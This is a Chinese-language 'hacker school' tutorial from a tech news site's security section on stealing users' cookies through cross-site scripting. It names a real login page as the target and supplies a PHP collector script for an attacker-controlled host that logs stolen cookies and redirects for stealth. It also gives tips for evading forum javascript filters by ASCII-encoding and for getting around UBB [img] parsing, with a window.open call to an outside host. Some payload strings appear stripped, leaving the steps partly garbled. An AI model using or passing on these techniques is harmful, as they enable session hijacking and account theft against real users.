最新文章
Geek Squad 电脑特工北京启航
赛扬双核E1200上市 入门CPU怎选
土老冒谈08年硬件发展趋势全解析
预言:2008网络安全趋势展望
微软与思科共谋安全市场
安全技巧:“防”在溢出之前
命运将眷顾播种的收获者
时代华纳拟按流量计费宽带服务
从7到9便携电脑市场竞争渐升级
七类最危险的网络管理员
ADSL常见故障及维护
IE浏览器常见经典故障
 
  新宇创业 > 网络安全 > 正文
黑客学堂:跨站攻击偷取对方cookies

   1. 构造一个提交,目标是能够显示用户Cookie信息:

    

http://www.5460.net/txl/login/login.pl?username= &passwd=&ok.x=28&ok.y=6

    

  2. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:

http://www.5460.net/txl/login/login.pl?username= &passwd=&ok.x=28&ok.y=6

其中 http://www.notfound.org/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信息,内容如下:

$info = getenv("QUERY_STRING");

if ($info) {

$fp = fopen("info.txt","a");

fwrite($fp,$info."\n");

fclose($fp);

}

header("Location: http://www.5460.net");

注: "%2B"为"+"的URL编码,并且这里只能用"%2B",因为"+"将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。

  3. 如果上面的URL能够正确运行的话,下一步就…………

  涉及到跨站技巧的 问题 。像大部份 bbs .pc120.net.cn" target="_blank">论坛,都过滤了javascript这个字符。有个小技巧是可以利用的,可以在 bbs .pc120.net.cn" target="_blank">论坛发的贴里将javascript写成ascii码。像j可以写成”j”

  再如 a可以写成”a”,你可以找一个ascii码表对照修改一下,这样成功率能高一点。还有,你要学会分析一下对方的ubb代码。像动网5.0以下 bbs .pc120.net.cn" target="_blank">论坛,你在[img]里写入和 bbs 3000一样的代码就不会成功,因为动网5.0以下,ubb代码http://这个地方当成图片地址了,结你提交的代码被分成了两段javascript:window.open('和http://www.netsill.net/lcx/info.asp?msg='+.); ,以至于我们提交的代码丧失了功能。难道就不能攻击了吗?当然不是,我们可以变换种方式提交,在[img]中插入代码如下:

 

           【 打印 】【 关闭